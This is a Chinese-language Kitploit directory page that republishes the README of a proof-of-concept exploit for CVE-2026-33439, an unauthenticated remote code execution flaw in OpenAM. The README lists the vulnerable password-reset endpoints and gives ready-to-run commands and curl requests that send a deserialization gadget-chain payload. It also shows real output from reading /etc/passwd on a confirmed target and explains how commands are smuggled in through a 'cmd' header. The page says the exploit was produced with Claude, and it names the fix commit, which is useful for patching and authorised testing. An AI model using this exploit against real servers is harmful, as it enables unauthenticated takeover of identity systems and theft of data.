Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33439-PoC — OpenAM 预认证 RCE(CVE-2026-33439)的漏洞利用程序,使用 Java 反序列化 gadget 链执行命令,并直接在 HTTP 响应中返回输出。 | Kitploit
工具/GitHubGitHub/ibonok/cve-2026-33439-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubibonok/cve-2026-33439-poc

CVE-2026-33439-PoC

OpenAM 预认证 RCE(CVE-2026-33439)的漏洞利用程序,使用 Java 反序列化 gadget 链执行命令,并直接在 HTTP 响应中返回输出。

查看仓库
21104个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33439 — OpenAM 预认证 RCE(回显模式)

命令输出直接显示在 HTTP 响应中——无需 DNS 外带或 OOB。

利用 com.iplanet.jato.RequestManager.getRequestContext() 在反序列化期间访问活动的 JATO ThreadLocal 请求/响应。适用于 Java 21+,在经典 Tomcat 回显技术 (Thread.target / ThreadGroup.threads 遍历)失效的环境中有效。

前提条件

  • JDK 11+(运行时需要 javac 编译 translet)
  • 目标 OpenAM 的 classpath 中包含 click-nodeps-2.3.0.jar 和 xalan-2.7.x.jar

已确认的漏洞端点

端点回显输出
/sso/ui/PWResetUserValidationHTTP 200,命令输出在响应体中
/sso/ui/PWResetQuestionHTTP 200,命令输出在响应体中
/sso/ui/PWResetSuccessHTTP 200,命令输出在响应体中

已测试但无回显输出(反序列化仍会触发):

  • /sso/ui/PWResetInvalidURL — 返回错误页面
  • /sso/ui/PWResetUncaughtException — 返回错误页面

构建

root@kitploit:~
./build.sh

使用方法

JAR 会自动添加 --add-opens JVM 参数——无需手动指定。

root@kitploit:~
# 一体化:生成 payload + 发送 + 显示输出(通过 Burp 代理)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'

# 不使用 Burp 代理
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy

# 生成可复用 payload(命令在请求时从 'cmd' 头获取)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"

已确认结果(2026-04-21)

root@kitploit:~
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)

$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash

工作原理

  1. 生成 PriorityQueue 反序列化 payload(Click1 + Xalan TemplatesImpl gadget 链)
  2. translet 字节码调用 RequestManager.getRequestContext() 获取活动的 JATO 请求/响应
  3. 读取 cmd HTTP 头,执行 sh -c <cmd>,将 stdout+stderr 写入 response.getOutputStream()
  4. payload 编码为 OpenAM 格式的 Base64(\x00 前缀 + URL 安全 Base64,无填充)
  5. 发送至 /sso/ui/PWResetUserValidation?jato.clientSession=<payload>(无需认证)

目录结构

root@kitploit:~
CVE-2026-33439-PoC-echo/
  CVE-2026-33439-Echo.jar    # 漏洞利用 JAR
  build.sh                   # 构建脚本
  MANIFEST.MF                # JAR 清单文件
  README.md                  # 本文件
  lib/                       # 依赖(必须与 JAR 放在同一目录)
    click-nodeps-2.3.0.jar
    xalan-2.7.1.jar
    serializer-2.7.3.jar
    javax.servlet-api-4.0.1.jar
  src/
    CVE_2026_33439_Echo.java # 源代码

修复

已在 OpenAM 提交 014007c63cacc834cc795a89fac0e611aebc4a32 中修复——在 SessionEncodeURL.readSessionID() 的 ObjectInputStream 中添加了类过滤器。

其他说明:

该 PoC 使用 Claude 创建;提示词为漏洞分析文章(https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce)和 Git 提交(https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)

下载工具